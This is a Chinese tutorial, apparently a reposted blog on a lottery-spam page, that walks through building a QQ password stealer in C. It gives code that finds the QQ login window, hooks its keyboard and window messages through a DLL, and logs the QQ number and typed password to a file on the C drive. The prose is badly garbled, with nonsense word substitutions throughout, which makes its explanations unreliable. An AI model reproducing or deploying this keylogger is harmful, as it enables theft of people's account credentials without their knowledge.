分分时时彩_时时彩手机app下载_分分时时彩手机app下载_QQ用户小心了! C语言实现QQ密码大盗

  • 时间:
  • 浏览:4
  • 来源:彩神app是官方认可的吗_彩神8vll

一般的盗密码的软件的软件删剪一定会通过监视键盘来获得密码,从前操作比较方便,后来 从前也趋于稳定一定问題,密码有的完后 删剪一定会很准确,肯能有的人输入密码并删剪一定会从前到后输入,当然从前的人也是少数,盗密码嘛,当然去得到那些比较粗心的人的密码! 通过安装钩子来监视QQ登陆界面而是 获得密码的最好的法律法律依据,在安装前得先找到登陆窗口的句柄,当钩子安装后,记录键盘,当用户“回车”或是点了“登陆”就还不能开始英语 解决密码了! 我准备分为四次要来说明你是什么 整个过程:

  (1)寻找QQ登陆界面。

  (2)安装钩子

  (3)钩子函数的解释.

  (4)解决密码。

  以下次要删剪一定会使用C语言,文章中我假设读者您是会C/SDK编程的。肯能遇到相关的概念性问題,您还不能查看MSDN或是上BBS 询问!

  寻找QQ登陆界面

  软件运行后,利用安装定时器,每秒在系统找QQ登陆界面,从前基本上假使 用户打开了QQ登陆界面就会被抓住其句柄,看下面代码:

#define ID_MYTIMER 555

SetTimer(hDlg, ID_MYTIMER, 2000, NULL);

  安装好TIMER后,下面是解决主守护线程的WM_TIMER消息,凡是突然冒出没办法 定义的变量,您还不能理解为是全局变量.

//解决WM_TIMER代码

if (!IsWindow(g_hQQLogin)) //判断g_hQQLogin是否有效的窗口句柄

{

 HWND hLogin=NULL;

 g_hQQLogin = NULL;

 SetQQHook(NULL); //参数为NULL是卸载HOOK,参数为句柄是安装句柄

 do

 {

  //利用FindWindowEx查找QQ登陆窗口,具体参数意思请查MSDN

  g_hQQLogin=FindWindowEx(NULL,g_hQQLogin,"#32770",NULL); //对话框的类删剪一定会#32770

  //找到类名是#32770后,再在其窗体内找一个具有“ 登录QQ”的BUTTON按纽

  hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登录QQ"); //你是什么 句很关键,肯能你的QQ登陆窗口上没办法 " 登录QQ"字样,没办法 获取密码将失败!

 }

 while(g_hQQLogin != NULL && hLogin == NULL); //直到找到指定的窗口,即:QQ登陆窗口

  if (g_hQQLogin != NULL)

  {

   SetQQHook(g_hQQLogin);//安装HOOK,此函数在DLL文件中 第二次要中介绍

  }

 }

  后边而是 查找QQ登陆窗口句柄的过程,从代码还不能看出我用的最好的法律法律依据:找一个其子窗体中一个标题为“ 登录QQ”的BUTTON的对话框(这句话说得有点硬饶口,这句话肯能也看不懂,下面您不必看多:() 我最开始英语 是想利用 FindWindow(NULL,"QQ用户登陆窗口")来查找,后来 我用Spy++看多QQ登陆窗口的标题并删剪一定会“QQ用户登陆窗口”,而是 “乱码”,其中所含了回车键等特殊字符,于是我用了FindWindowEx().

  安装钩子

  找到了QQ登陆窗口后,就成功了一半。

  下面是DLL文件中的安装HOOK的函数SetQQHook(), 为那些要用DLL(动态连接库)?要去“钩”许多守护线程的消息,得让HOOK函数在DLL中,从前好映射到其地址空间中!

BOOL WINAPI SetQQHook(HWND hQQLogin)

{

 //获得登陆框的句柄

 BOOL bRet = FALSE;

 if (hQQLogin != NULL)

 {

  DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是那些意思?看MSDN

  g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄

  g_hPsw = GetDlgItem(hQQLogin, 1200); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄

  if (g_hNum == NULL)

  {

   MessageBox(NULL,"哭了,号码句柄都没办法 得到!","烦心",0);

   return FALSE;

  }

  if(g_hPsw==NULL)

  {

   MessageBox(NULL,"哭了,密码句柄都没办法 得到!","烦心",0);

   return FALSE;

  }

 

  分别键盘HOOK,和界面次要消息解决的HOOK

g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);

g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);

bRet = (g_hProc != NULL) && (g_hKey != NULL);

}

else

{

 // 卸载钩子

 bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);

 g_hProc = NULL;

 g_hKey = NULL;

 g_hNum = NULL;

}

return bRet;

}

  后边是安装HOOK次要的代码,就没办法 简单,后边提到了CallWndProc,KeyboardProc是一个回调函数,是我第三次要要解释的钩子函数

钩子函数的解释

  CallWndProc,KeyboardProc是一个回调函数的原型和具体代码如下:

// 钩子过程,监视“登陆”的命令消息

LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam)

{

 CWPSTRUCT *p = (CWPSTRUCT *)lParam;

 // 捕获“登陆”按钮

 if (p->message == WM_COMMAND && p->wParam ==120032)

  //下面个函数是我在第四次要介绍-“解决密码”次要会仔细说明

  //当用户点了登陆按钮,说明QQ号码和QQ密码肯能填写完毕,当然还不能去获得密码了

  GetPasswrod();

  return CallNextHookEx(g_hProc, nCode, wParam, lParam);

}

// 键盘钩子过程,监视“登陆”的热键消息

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)

{

 // 捕获热键消息,记录键盘的按键盘过程,pmsg是PMSG类型的,i是全局Static类型的

 pmsg[i].wParam =wParam;

 i++;

 if (wParam == VK_RETURN) //用户使用键盘“回车”来登陆,用户用了回车后,就还不能还不能去获得密码了

  GetPasswrod();

  return CallNextHookEx(g_hKey, nCode, wParam, lParam);

}

 

  在明白了你是什么 个多钩子函数后就还不能看多期是怎样具体解决密码的了,这而是 下面的第四次要内容

  解决密码

  肯能您读到了此处,让人 得暂停一会,先让人 来帮你回忆一下前面提到的好多个关键的变量

  第一个:QQ号的子窗口句柄 g_hNum

  第一个:QQ密码的子窗口句柄 g_hPsw //此次要暂时不使用,下面

  第一个:存键盘按键的 pmsg

  后边三变量分别突然冒出在第二次要和第三次要,删剪一定会全局共享(shared)变量

  QQ密码的子窗口句柄 g_hPsw 此次要暂时不使用,让人看多下面代码所含句用到g_hPsw的说说是我注释掉了的,是因为是无法通过那样去得到QQ密码,得解决按键消息

void GetPasswrod()

{

 //声明变量和初始化

 HANDLE f;

 TCHAR num[13];

 TCHAR psw[21];

 TCHAR total[200];

 int j;

 memset(num,0,sizeof(num));

 memset(total,0,sizeof(total));

 memset(psw,0,sizeof(psw));

 DWORD dw;

 //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的

 GetWindowText(g_hNum,(LPSTR)num,sizeof(num));

 //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法从前获得密码

 //提取出键盘记录,此内容他说删剪一定会密码,他说是QQ号+QQ密码

 for(j=0;j<20;j++)

 {

  psw[j]=(TCHAR)pmsg[j*2].wParam ;

 }

 psw[j+1]=’\0’;

 //把QQ号码和QQ密码写入C盘password.txt中

f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

 strcat(total,"号码");

 strcat(total,num);

 strcat(total,"密码:");

 strcat(total,psw);

 WriteFile(f,&total,sizeof(total),&dw,NULL);

 CloseHandle(f);

}

  最后在C盘password.txt他说会突然冒出从前并都是情况汇报:

  1)当QQ号是没办法 用输入,而已用的粘贴肯能是电脑完后 有记录则是:号码:21728812密码:TEST

  2) 当QQ号是用的键盘输入,电脑没办法 QQ号记录时则是: 号码:21728812密码:21728812TEST

  还不能看出,第2种情况汇报把QQ当成了密码了,而是 密码还得减去QQ号,

  有点硬说明:我从前直接解决wParam参数,得到的字符密码删剪一定会大写的,具体大小写问題我没办法 就没办法 仔细去解决的,功能实现就行了,毕竟我使用他不必来盗密码的!

  后边四次要基本上获得密码的功能介绍完毕。凡是没办法 介绍的变量皆是全局变量,没办法 提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,删剪使用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,他说有的地方他说的钩子函数,而另外一个地方说的是HOOK函数

  有点硬说明:后边有具体的运行文件,肯能小弟并没办法 考虑到更多细节,让人是用了“理想”情况汇报下去获得密码,后来 或的密码后并没办法 注重后期密码解决,他说突然冒出密码大小写不符合或是无法得到密码,请一群人千万别笑话,我写这篇菜鸟级别的Blog的是因为意在告诉许多对这方面感到疑惑的一群人基本的原理,和希望和大侠们交流 !